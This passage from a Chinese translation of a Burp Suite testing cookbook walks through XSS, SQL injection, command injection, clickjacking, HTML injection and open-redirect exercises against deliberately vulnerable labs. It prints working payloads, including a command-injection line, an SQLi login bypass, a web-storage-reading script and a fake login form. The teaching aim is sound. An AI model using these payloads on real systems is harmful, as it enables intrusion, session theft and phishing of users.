mkdir%20-p%20/var/lib/tomcat6/webapps/WebGoat/mfe_ target;touch%20/var/lib/tomcat6/webapps/WebGoat/mfe_target/ guest.txt
-
返回到课程的第一个标签页并重新加载页面。成功消息应该会出现:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_050.jpg
图 7.50 – 祝贺消息
它是如何工作的…
由于文件上传漏洞,我们可以上传像 polyglot 这样的恶意文件,而不被 Web 服务器检测到。许多网站允许上传图像,因此开发者必须确保这些图像内部不含有恶意负载。对此类攻击的防护可以采用魔数检查或特殊的代理服务器筛查所有上传的文件与反病毒引擎的匹配等方式。
还有更多…
要了解更多关于 polyglot 的信息,请参考以下 PortSwigger 博客:
portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
第八章:评估输入验证检查
未能在应用程序代码中使用来自客户端的任何输入之前进行验证,是 Web 应用程序中最常见的安全漏洞之一。这一漏洞是导致重大安全问题的根源,如 SQL 注入和跨站脚本攻击(XSS)。Web 渗透测试人员必须评估并确定应用程序是否会反射或执行任何输入。我们将学习如何使用 Burp Suite 执行此类测试。
本章我们将覆盖以下配方:
-
测试反射型跨站脚本攻击
-
测试存储型跨站脚本攻击
-
测试 HTTP 动词篡改
-
测试 HTTP 参数污染
-
测试 SQL 注入
-
测试命令注入
技术要求
要完成本章的配方,您将需要以下内容:
-
OWASP 破损 Web 应用程序 (VM)
-
OWASP Mutillidae 链接
-
Burp Suite Proxy 社区版或专业版(
portswigger.net/burp/
)
测试反射型跨站脚本攻击
反射型跨站脚本攻击发生在恶意 JavaScript 被注入到输入字段、参数或头部中,返回自 Web 服务器后,在浏览器中执行。反射型 XSS 发生时,JavaScript 的执行仅反射到浏览器中,并不是网页的永久一部分。渗透测试人员需要测试所有发送到 Web 服务器的客户端值,以确定是否可能发生 XSS。
准备工作
使用 OWASP Mutillidae II,让我们确定该应用程序是否能够防范反射型 XSS。
如何操作…
- 从 OWASP Mutillidae II 菜单中,选择 登录,通过导航到 OWASP 2013 | A3 - 跨站脚本攻击(XSS) | 反射型(第一类) | 渗透测试工具查找:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_001.jpg
图 8.1 – Multillidae 登陆页面
- 从下拉列表中选择一个工具,并点击 Lookup Tool 按钮。下拉列表中的任何值都可以用于此配方:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_002.jpg
图 8.2 – 渗透测试工具投票
- 切换到 Burp Suite Proxy | HTTP history,并通过选择查询工具找到您刚刚创建的 HTTP 消息。请注意,请求中有一个名为 ToolID 的参数。在以下示例中,值为 3:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_003.jpg
图 8.3 – 代理 HTTP 历史视图
- 翻到 Response 标签页,并注意从请求返回的 JSON。通过在底部的搜索框中键入 PenTest,您可以更容易地找到响应中的 JavaScript 函数。请注意,tool_id 在响应参数 toolIDRequested 中被反射。这可能是 XSS 攻击的一个切入点:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_004.jpg
图 8.4 – toolIDRequested 和 tool_id
- 将请求发送到重复器。在ToolID参数中,紧跟等号后添加 XSS 负载。使用一个简单的负载,如 :
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_005.jpg
图 8.5 – ToolID 参数中的 XSS 负载
- 点击发送,检查返回的 JSON 响应,搜索 PenTest。请注意,我们的负载被原样返回。看起来开发人员在使用这些输入数据之前没有进行任何清理。让我们利用这个漏洞:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_006.jpg
图 8.6 – 负载在响应中反射
-
由于我们正在处理 JSON 而不是 HTML,我们需要调整负载以匹配返回的 JSON 结构。我们将欺骗 JSON 认为负载是合法的。我们将原始的 负载修改为 "}} )%3balert(1)%3b//。
-
切换到 Burp Suite 代理 | 拦截 标签。通过点击 拦截器已开启 按钮开启 拦截器。
-
返回 Firefox,选择下拉列表中的另一个工具,并点击查找工具按钮。
-
当代理 | 拦截器暂停请求时,立即在ToolID数字后插入新的负载 "}} )%3balert(1)%3b//:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_007.jpg
图 8.7 – 为 JSON 修改的 XSS 负载
-
点击转发按钮。通过切换到拦截器已关闭来关闭拦截器。
-
返回 Firefox 浏览器,查看弹出的警告框显示。你已经成功展示了概念验证(PoC)以证明反射型 XSS 漏洞:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_008.jpg
图 8.8 – XSS 漏洞的证据
它是如何工作的…
由于在使用来自客户端的数据之前没有进行充分的输入清理,在这种情况下,渗透测试工具的标识符按原样反射在响应中,允许 XSS 攻击的攻击向量。
测试存储型跨站脚本攻击
存储型跨站脚本攻击发生在恶意 JavaScript 被注入到输入字段、参数或头部后,返回自 web 服务器时,在浏览器中执行,并成为页面的一部分。存储型 XSS 发生在恶意 JavaScript 被存储在数据库中,并在之后用于填充网页的显示内容。渗透测试人员需要测试所有发送到 Web 服务器的客户端值,以确定 XSS 是否可能。
准备工作
使用 OWASP Mutillidae II,我们来确定该应用程序是否能防止存储型跨站脚本攻击。
如何操作…
- 在 OWASP Mutillidae II 菜单中,选择登录,依次导航到 OWASP 2013 | A3 - 跨站脚本攻击(XSS) | 持久型(第一阶) | 添加到 你的博客:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_009.jpg
图 8.9 – 导航到存储型 XSS 漏洞教学
- 在文本框中输入一些文字。在点击保存博客条目按钮之前,让我们尝试输入一个有效载荷:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_010..jpg
图 8.10 – 保存您的博客条目
- 点击保存博客条目按钮后,您应该立即看到页面上存储的 JavaScript 弹出窗口。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_011..jpg
图 8.11 – 存储型 XSS 漏洞证据
- 点击确定按钮以关闭弹出窗口。重新加载页面,您将再次看到警告弹出窗口。这是因为您的恶意脚本已成为页面的一部分。您已成功展示了存储型 XSS 漏洞的 PoC!
工作原理…
存储型或持久型 XSS 漏洞的发生是因为应用程序不仅没有对输入进行清理,而且还将输入存储在数据库中。因此,当页面重新加载并填充数据库数据时,恶意脚本会与数据一起执行。
测试 HTTP 方法篡改
HTTP 请求可以包括除了GET和POST以外的方法。作为渗透测试员,确定 Web 服务器允许哪些其他 HTTP 方法非常重要。支持其他方法可能会泄露敏感信息(例如,TRACE)或允许危险地调用应用程序代码(例如,DELETE)。让我们看看 Burp Suite 如何帮助测试 HTTP 方法篡改。
准备工作
使用 Altoro Mutual (demo.testfire.net
),让我们确定应用程序是否有一个POST请求,可以将其修改为GET请求。如果可能,GET请求将会暴露查询字符串中的敏感数据。我们将先进行登录,然后映射应用程序,寻找像资金转移交易这样的有趣内容。
操作方法…
- 导航至
demo.testfire.net
,点击登录按钮。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_012..jpg
图 8.12 – Altoro Mutual 登陆页面
您已进入登录表单。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_013..jpg
图 8.13 – Altoro Mutual 登录页面
- 登录后,使用左侧菜单导航至转账。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_014..jpg
图 8.14 – 导航到转账页面
- 在转账页面,选择支票账户并在转账金额字段中输入金额。此时不要进行转账。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_015..jpg
图 8.15 – 选择转账账户并输入金额
- 进入代理 | 拦截,并切换拦截为开启:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_016..jpg
图 8.16 – 打开代理拦截
- 返回浏览器并点击转账 按钮。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_017..jpg
图 8.17 – 点击转账按钮
- 在代理 | 拦截中,你可以通过右键点击并选择更改 请求方法,轻松将动词从POST改为GET:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_018..jpg
图 8.18 – 将 POST 改为 GET
- 请注意,现在请求是一个GET请求,且账户号码已在查询字符串中暴露。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_019..jpg
图 8.19 – 在 GET 查询字符串中查看敏感数据
-
点击前进按钮,并切换代理 | 拦截 已关闭。
-
请注意,转账仍然成功作为GET请求:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_020..jpg
图 8.20 – 转账成功
它是如何工作的…
测试 HTTP 动词篡改包括使用不同的 HTTP 方法向应用程序发送请求并分析接收到的响应。在本实例中,网页开发人员允许在两个账户之间转账时使用POST和GET动词。为什么这会被发现?因为原始的POST请求将敏感数据放在请求的主体中,而GET请求则在查询字符串中暴露数据,这些数据很容易被捕获在服务器的网页日志中,并且在网络中被嗅探到。作为测试人员,你需要在登录序列和应用程序中其他涉及敏感数据的区域进行此类测试。
测试 HTTP 参数污染
HTTP 参数污染(HPP)是一种攻击,其中多个 HTTP 参数以相同的名称发送到 Web 服务器。其目的是确定应用程序是否以意外的方式响应,从而允许漏洞利用。例如,在GET请求中,可以将附加参数添加到查询字符串中,格式为:“&name=value”,其中name是应用程序代码中已经知道的重复参数名。同样,也可以通过在POST请求的POST主体数据中复制参数名来执行 HPP 攻击。
准备工作
使用 OWASP Mutillidae II,来判断该应用程序是否允许 HPP 攻击。
如何操作…
- 从 OWASP Mutillidae II 菜单中,选择登录,导航到OWASP 2013 | A1 - 注入(其他) | HTTP 参数污染 | 投票问题:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_021..jpg
图 8.21 – 转到 HTTP 参数污染课程
- 从单选按钮中选择一个工具,添加你的首字母,然后点击提交 投票按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_022..jpg
图 8.22 – 投票选择工具
- 切换到 Burp Suite Proxy | HTTP history 标签,找到您刚刚在 User Poll 页面上执行的请求。注意参数名为 choice。该参数的值是 nmap。右键单击并将该请求发送到 Repeater:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_023..jpg
图 8.23 – 发送到重复器
-
切换到 Burp Suite Repeater,并向查询字符串中添加另一个具有相同名称的参数。我们从 User Poll 列表中选择另一个工具,并将其附加到查询字符串中,例如,&choice=tcpdump。这将添加两个选择项,&choice=nmap(原始)和 &choice=tcpdump。点击 Send 发送请求。
-
检查响应。应用程序代码接受了哪个选择?通过搜索 Your choice was 字符串可以轻松找到这个选择。显然,重复的选择参数值是应用程序代码接受的并计入 User Poll 投票中的那个:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_024..jpg
图 8.24 – 验证您的更改是否被服务器接受
它是如何工作的…
应用程序代码在传入函数时未检查具有相同名称的多个参数。结果是,应用程序通常只会对最后一个匹配的参数进行操作。这可能导致异常行为和意外结果。
测试 SQL 注入
SQL 注入攻击涉及攻击者向数据库提供输入,这些输入在没有任何验证或清理的情况下被接收并使用。结果是泄露敏感数据、修改数据,甚至绕过认证机制。
准备工作
使用 OWASP Mutillidae II Login 页面,我们来确定应用程序是否易受 SQL 注入(SQLi)攻击。
如何操作…
- 从 OWASP Mutillidae II 菜单中,选择 Login,路径为 OWASP 2013 | A1-Injection (SQL) | SQLi – 绕过认证 | Login:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_025..jpg
图 8.25 – 导航到 SQL 注入认证绕过课程
- 在 Login 屏幕上,在 Username 和 Password 文本框中输入无效凭据。例如,用户名为 ’ or 1=1–,没有密码。点击 Login 按钮。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_026..jpg
图 8.26 – 使用 SQLi 负载登录
- 切换到 Burp Suite Proxy | HTTP history 标签。找到包含 ’ or 1=1– 的 username 参数的请求,并点击 Login 按钮。使用 Inspector 更轻松地查看 SQL 注入负载的内容。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_027..jpg
图 8.27 – 使用 Inspector 查看您的 URL 编码负载
- 返回 Firefox 浏览器,注意您现在已作为管理员登录!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_028..jpg
图 8.28 – 验证 SQLi 有效载荷是否有效
工作原理…
在不知晓任何凭证的情况下,你可以使用 SQL 注入有效载荷,例如 ’ or 1=1–,绕过身份验证机制。该应用程序存在 SQL 注入漏洞,因为后端应用程序中使用的 SQL 代码直接使用文本框中的值构建,而没有对用户输入进行任何清理。管理员账户是数据库中第一个创建的账户,因此当 SQL 注入有效载荷执行时,数据库默认使用该账户。
还有更多…
我们可以重新执行这个操作,并使用来自 wfuzz 的 SQL 注入字典,通过 Burp Suite Intruder 测试 用户名 字段中的多种有效载荷。检查每次攻击的响应,查看结果表中是否成功执行了 SQL 注入,并且你已经登录到应用程序。
构造 SQL 注入有效载荷需要一些关于后端数据库和所需语法的知识。一个非常有用的资源是 pentestmonkey.net/category/cheat-sheet/sql-injection
。
测试命令注入
命令注入是指攻击者试图在 HTTP 请求中调用系统命令,通常这些命令是在终端会话中执行的。许多 web 应用程序允许通过 UI 执行系统命令,通常用于故障排除。web 渗透测试人员必须测试该网页是否允许执行本应受到限制的系统命令。
准备工作
对于这个教程,你需要获取适用于 Unix 命令的 SecLists 有效载荷,适用于 Unix 或 Linux 操作系统:
github.com/danielmiessler/SecLists/blob/master/Fuzzing/UnixAttacks.fuzzdb.txt
从 GitHub 下载 SecLists 有效载荷:
github.com/danielmiessler/SecLists
使用 OWASP Mutillidae II DNS 查询页面,我们来确定该应用程序是否容易受到命令注入攻击。
如何操作…
- 在 OWASP Mutillidae II 菜单中,选择 DNS 查询,导航至 OWASP 2013 | A1-注入(其他) | 命令注入 | DNS 查询:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_029..jpg
图 8.29 – 导航到命令注入课程
- 在 DNS 查询 页面,输入 IP 地址 127.0.0.1,然后点击 查询 DNS 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_030..jpg
图 8.30 – 输入一个 IP 地址
-
切换到 Burp Suite 代理 | HTTP 历史记录 标签页,找到你刚才执行的请求。右键点击 发送 到 Intruder。
-
在Intruder | Positions标签中,使用Clear $按钮清除所有建议的 payload 标记。在target_host参数中,紧接在127.0.0.1 IP 地址后放置一个管道符号(|)。在管道符号后放置一个X。选中X并点击Add $按钮,将X用 payload 标记包裹起来:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_031..jpg
图 8.31 – 在参数末尾添加替代标记,并使用管道符
- 在Intruder | Payloads标签中,点击Load按钮。浏览到你从 GitHub 下载的SecLists-master单词列表的位置。导航到UnixAttacks.fuzzdb.txt单词列表的位置,并使用以下路径填充**Payload 设置 [简单列表]**框:SecLists-master/Fuzzing/UnixAttacks.fuzzdb.txt:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_032..jpg
图 8.32 – 加载单词列表
-
取消勾选Payload 编码框,在Payloads标签页面底部,然后点击Start Attack按钮。
-
允许攻击继续进行,直到达到 payload 50。注意,通过Render标签看到的响应大约在 payload 45附近。我们可以执行如id之类的命令,它将在网页上显示命令的结果:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_033..jpg
图 8.33 – 命令注入漏洞的证据
- 我们还可以右键点击结果表中的此请求,并发送到Repeater以再次执行攻击。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_034..jpg
图 8.34 – 发送到 Repeater
- 在Repeater中,点击Send,然后在响应中点击Render标签以查看命令注入的结果。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_08_035..jpg
图 8.35 – 重复利用漏洞以查看证据
它是如何工作的…
如果未对用户输入进行定义和验证,并与系统命令的可接受列表进行匹配,就可能导致命令注入漏洞。在此情况下,应用程序代码没有限制通过 UI 访问的系统命令,允许查看并执行应受到限制的操作系统命令。
第九章:攻击客户端
客户端可用的代码会在浏览器中执行,因此需要进行测试,以确定是否存在敏感信息,或是否允许用户输入而没有服务器端验证。我们将学习如何使用 Burp Suite 执行这些测试。
本章将介绍以下配方:
-
测试点击劫持
-
测试基于 DOM 的跨站脚本攻击
-
利用 DOM Invader 测试 DOM XSS
-
测试 JavaScript 执行
-
测试 HTML 注入
-
测试客户端资源篡改
技术要求
要完成本章中的配方,您需要以下内容:
-
OWASP 异常 Web 应用程序
-
OWASP Mutillidae 链接
-
Burp Suite Proxy 社区版或专业版 (
portswigger.net/BurpSuite/
)
测试点击劫持
点击劫持 也称为 UI 重定向攻击。这是一种欺骗技术,它通过诱使用户与透明的 iframe 进行交互,从而可能将未经授权的命令或敏感信息发送到攻击者控制的网站。让我们看看如何使用 Burp Clickbandit 测试网站是否容易受到点击劫持攻击。
准备工作
我们将使用 OWASP Mutillidae II 应用程序和 Burp Clickbandit 来确定该应用程序是否能防御点击劫持攻击。
如何操作…
-
导航到 OWASP Mutillidae II 的 首页。
-
切换到 Burp,然后从顶层菜单中选择 Burp Clickbandit:
图 9.1 – Clickbandit 菜单项
- 弹出框会解释该工具。点击 复制 Clickbandit 到 剪贴板 按钮:
图 9.2 – 复制代码到剪贴板
- 返回 Firefox 浏览器和 Mutillidae 的着陆页面。确保您没有登录到应用程序。按 F12 以打开开发者工具。从开发者工具菜单中选择 控制台,然后查看底部的提示:
图 9.3 – F12 开发者工具控制台提示
- 在 控制台 提示框(例如 >>)中,粘贴您复制到剪贴板的 Clickbandit 脚本:
图 9.4 – 粘贴的 Clickbandit 代码
- 粘贴脚本到提示框后,按下 Enter 键。您应该看到 Burp Clickbandit 的 记录模式。点击 开始 按钮开始:
图 9.5 – 启动 Clickbandit 记录模式
-
在应用程序出现后开始点击。点击 Mutillidae 顶部菜单中的可用链接,点击侧边菜单中的可用链接,或浏览到 Mutillidae 内的页面。一旦您点击完毕,按下 Burp Clickbandit 菜单上的完成按钮。
-
你应该注意到,Mutillidae 网页上方透明地出现了大红色方块。每个红色方块都表示可能出现恶意 iframe 的位置。
图 9.6 – 受害者网页框架
随意点击每个红色方块,你会看到下一个红色方块出现,依此类推,直到你看到信息 你已经被点击劫持!:
图 9.7 – 最终确认消息
- 为了将结果保存到文件以便重放(提供给客户作为证据),点击 保存 按钮。这样会将点击劫持 概念验证 (PoC) 保存在一个 HTML 文件中,你可以将其放入渗透测试报告中。https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_Figure_9.08.jpg
图 9.8 – 保存到文件
- 点击 重置 按钮以返回到没有 Clickbandit 代码的正常应用程序:
图 9.9 – 点击重置按钮后
工作原理…
由于 Mutillidae 应用程序没有使用 X-FRAME-OPTIONS 头部设置为 DENY,因此有可能将恶意的 iframe 实例注入到 Mutillidae 网页中。这在钓鱼攻击中的登录页面尤为危险,攻击者诱使受害者将凭据输入到一个由攻击者控制的页面中。你可以增加 Clickbandit 使用的 iframe 实例的不透明度,以增强其可见性。你可以使用 Clickbandit 创建 PoC,展示漏洞如何被利用。通过将 X-FRAME-OPTIONS 头部设置为 DENY 或通过将 Content-Security-Policy 的 frame-ancestors 指令添加到白名单域中,可以保护应用程序免受点击劫持攻击。
测试基于 DOM 的跨站脚本
文档对象模型 (DOM) 是所有 HTML 网页在浏览器中捕获的树状结构表示。开发者使用 DOM 来方便地在浏览器内存储信息。作为一名网页渗透测试员,确定是否存在基于 DOM 的 跨站脚本 (XSS) 漏洞是非常重要的。
准备工作
我们将使用 OWASP Mutillidae II HTML5 网页存储练习来确定应用程序是否易受基于 DOM 的 XSS 攻击。
操作步骤…
- 转到 HTML 5 | HTML5 网页存储 | HTML5 存储:
图 9.10 – HTML5 存储课程
- 请注意通过 HTML5 网页存储 位置存储在 DOM 中的名称/值对。网页存储包括 会话 和 本地 变量。开发者使用这些存储位置方便地在用户的浏览器中存储信息:
图 9.11 – 网页存储条目
- 切换到 Burp Suite 的 Proxy | Intercept 标签。点击Intercept 是开启的按钮来开启拦截:
图 9.12 – 开启拦截
-
通过按 F5 或点击 刷新 按钮,在 Firefox 浏览器中重新加载 HTML 5 Web Storage 页面。
-
切换到 Burp Suite 的 Proxy | Intercept 标签。找到刚才刷新所生成的暂停请求。注意User-Agent 字符串被高亮显示,如下截图所示:
图 9.13 – 注意原始的用户代理值
-
用以下脚本替换前面高亮显示的User-Agent。注意有效载荷中的 XSS 注入(例如,alert()):
<script>try{var m = "";var l = window.localStorage; var s = window.sessionStorage;for(i=0;i<l.length;i++) {var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};alert(m);}catch(e){alert(e. message);}</script>
下面是有效载荷在 Proxy 拦截器中被拦截时的请求内容:
图 9.14 – 将用户代理更改为有效载荷
-
点击 前进 按钮。然后,通过点击切换按钮,将 拦截 关闭至 拦截已关闭。
-
注意弹出的警告框,显示了 DOM 存储的内容:
图 9.15 – XSS 有效载荷执行的证据
它是如何工作的…
被注入的脚本演示了 XSS 漏洞与 DOM 中存储的敏感信息结合时,攻击者如何窃取敏感数据。将敏感数据存储在网页存储中的危险在于,如果应用程序中的任何地方都可能发生 XSS,那么敏感数据可能会被提取并通过恶意的 JavaScript 有效载荷发送给攻击者。
利用 DOM Invader 测试 DOM XSS
让我们使用 PortSwigger 集成浏览器和名为 DOM Invader 的插件,覆盖客户端的更多攻击面,探测潜在的 DOM XSS 和其他弱点。
准备工作
我们将使用相同的练习、HTML5 存储和 Burp Suite 的 DOM Invader,帮助我们判断网页上是否存在任何易受攻击的目标或源。
如何操作…
- 使用 Burp Suite 浏览器,点击顶部的 DOM Invader 图标。
图 9.16 – Burp Suite 浏览器上的 DOM Invader 图标
- 选择DOM Invader标签,确保设置了DOM Invader 开启。另外,注意分配的 canary 值。这个值是随机的,如果需要,你可以自定义这个值:
图 9.17 – DOM Invader 菜单
- 在 Burp Suite 浏览器中,导航到HTML 5 存储页面:
图 9.18 – HTML 5 存储页面
- 在 Burp Suite 浏览器中按 F12 键打开开发者工具控制台。将选项卡滚动到控制台的最末尾,并选择 DOM Invader。注意:DOM Invader 仅在 Burp Suite 浏览器中可用,因此如果你看不到这个标签,说明你使用的是错误的浏览器:
图 9.19 – F12 开发者工具中的 DOM Invader 标签
- 使用 DOM Invader,点击 Inject forms 按钮。注意你的金丝雀值现在已填充到所有文本框和按钮标签中:
图 9.20 – DOM Invader 注入点中的金丝雀值
- 现在,点击 Add New 按钮,注意现在显示的是金丝雀值而不是 Add New。这是网页上的唯一按钮。
图 9.21 – 注入后
- 点击按钮后,请注意你从 DOM Invader 中获得了三个发现(漏洞),显示在顶部图标上:
图 9.22 – 带有三个发现的 DOM Invader 图标
这些信息显示在 开发者工具 控制台中,通过在 Burp Suite 浏览器中按 F12 键可以访问(你必须使用 Burp Suite 浏览器才能看到)。请寻找 DOM Invader 标签:
图 9.23 – DOM Invader 发现
DOM Invader 发现为我们提供了足够的线索,表明我们需要继续构造一个有效载荷来执行 JavaScript。DOM Invader 识别到的漏洞是 element.innerHTML(1),这帮助我们了解利用 DOM XSS 漏洞的潜力非常高。
它是如何工作的…
该网页中 innerHTML 的存在是一个 DOM XSS HTML 漏洞。innerHTML 属性接收用户输入并立即在浏览器中呈现。使用该属性非常危险,大多数开发者通常会避免使用。
还有更多…
PortSwigger 在此提供了关于 DOM Invader 及其众多功能的背景信息:portswigger.net/burp/documentation/desktop/tools/dom-invader
。我们仅仅触及了 DOM Invader 在浏览器中可以执行的多种扫描功能。其他扫描功能包括 postMessage 攻击、DOM 覆写、原型污染等。
测试 JavaScript 执行
JavaScript 注入是 XSS 攻击的一个子类型,特指任意注入 JavaScript。此类漏洞可能影响浏览器中保存的敏感信息,如用户会话 cookies,或者导致页面内容的修改,使得攻击者控制的网站脚本得以执行。
准备开始
我们将使用 OWASP Mutillidae II 密码生成器 练习,来确定该应用是否容易受到 JavaScript XSS 攻击。
如何操作…
- 导航至 OWASP 2013 | A1 - 注入 (其他) | JavaScript 注入 | 密码生成器:
图 9.24 – 密码生成器教程
- 请注意,在点击 生成密码 按钮后,密码会显示出来。同时,还要注意,URL 中提供的用户名值会在网页上 原样 显示:http://192.168.56.101/mutillidae/index.php?page=password-generator.php&username=anonymous。这意味着该页面可能存在潜在的 XSS 漏洞:
图 9.25 – 生成新密码
- 切换到 Burp Suite 代理 | HTTP 历史 标签,找到与 密码生成器 页面相关的 HTTP 消息。在消息编辑器中切换到 响应 标签,并对 catch 字符串进行搜索。注意,返回的 JavaScript 中包含一个 catch 块,错误信息会显示给用户。我们将利用这个位置进行精心设计的 JavaScript 注入攻击:
图 9.26 – 注入点的 Catch 块
-
切换到 Burp Suite 代理 | 拦截 标签。通过点击 拦截已开启 按钮开启 拦截 功能。
-
在 Firefox 浏览器中通过按 F5 或点击 重新加载 按钮重新加载 密码生成器 页面。
-
切换到 Burp Suite 代理 | 拦截 标签。在请求暂停时,注意以下高亮显示的 用户名 参数值:
图 9.27 – 用户名参数
-
将上述高亮的 anonymous 值替换为以下精心设计的 JavaScript 注入脚本:
canary";}catch(e){}alert(1);try{a="
这是在 代理 拦截器中停留的请求中,负载的样子:
图 9.28 – 注入点
-
点击 转发 按钮。现在,通过点击切换按钮关闭 拦截 功能,确保 拦截已关闭。
-
注意弹出的警报。你已经成功演示了 JavaScript 注入 XSS 漏洞的存在!
图 9.29 – JavaScript 执行证据
工作原理…
注入到网页中的 JavaScript 代码与原始 catch 语句的结构匹配。通过创建一个伪造的 canary 名称,并以分号结束语句,创建了一个特别设计的 新 catch 块,其中包含恶意的 JavaScript 负载。
测试 HTML 注入
HTML 注入是将任意 HTML 代码插入到易受攻击的网页中。这类漏洞可能导致敏感信息泄露或修改页面内容,用于社会工程学攻击。
准备工作
我们将使用 OWASP Mutillidae II 的捕获数据页面来确定应用程序是否易受 HTML 注入攻击。
如何操作…
- 导航至OWASP 2013 | A1 - 注入(其他) | HTMLi 通过 Cookie 注入 | 捕获数据页面:
图 9.30 – 捕获数据页面课程
- 请注意攻击前页面的样子:
图 9.31 – 数据捕获页面
切换到 Burp Suite 的代理 | 拦截选项卡,并点击拦截已开启按钮,启用拦截。
- 当请求暂停时,记下最后一个 Cookie 的值,acgroupswitchpersist=nada:
图 9.32 – 开启拦截
-
当请求暂停时,将最后一个 Cookie 的值替换为此 HTML 注入脚本:
<h1>Sorry, please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><input type="submit" value="Submit"><h1> </h1>
这是在代理拦截器中暂停的请求中的负载样子:
图 9.33 – 更改 Cookie 值为负载
-
点击前进按钮。现在,点击切换按钮关闭拦截,使拦截已关闭。
-
请注意 HTML 现在已被包含在页面中!
图 9.34 – HTML 注入证据
工作原理…
由于缺乏输入验证和输出编码,可能存在 HTML 注入漏洞。利用此漏洞的结果是插入任意 HTML 代码,这可能导致 XSS 攻击或社会工程学攻击,如前面示例中所见。
测试客户端资源操控
如果应用程序基于客户端 URL 信息或资源路径(例如 AJAX 调用、外部 JavaScript 或iframe源)执行操作,结果可能会导致客户端资源操控漏洞。该漏洞涉及攻击者控制的 URL,例如 JavaScript 中的location属性、HTTP 响应中的位置头部,或者控制重定向的POST请求体参数。此漏洞的影响可能导致 XSS 攻击。
准备工作
我们将使用 OWASP Mutillidae II 应用程序来确定是否可以操控任何在客户端暴露的 URL 参数,以及这些值的操控是否会导致应用程序行为异常。
如何操作…
- 导航至OWASP 2013 | A10 - 无效的重定向和转发 | 信用:
图 9.35 – Credits 页面
- 点击 Credits 页面上的 ISSA Kentuckiana 链接:
图 9.36 – 外部链接
- 切换到 Burp Suite 的 Proxy | HTTP history 标签,找到你对 Credits 页面发出的请求。注意到有两个查询字符串参数:page 和 forwardurl。如果我们篡改用户被重定向的 URL,会发生什么情况?
图 9.37 – 调用外部链接
-
切换到 Burp Suite 的 Proxy | Intercept 标签。点击 Intercept on 按钮以开启 Intercept。
-
再次点击 ISSA Kentuckiana 链接。当请求暂停时,注意 forwardurl 参数的当前值:
图 9.38 – 更改原始值
- 将 forwardurl 参数的值替换为
www.owasp.org
,而不是原始选择的www.issa-kentuckiana.org
:
图 9.39 – 改变为攻击者控制的值
- 点击 Forward 按钮。现在,通过点击切换按钮将 Intercept 关闭,状态变为 Intercept is off。注意我们被重定向到与最初点击的链接不同的站点!
图 9.40 – 重定向证据
它是如何工作的…
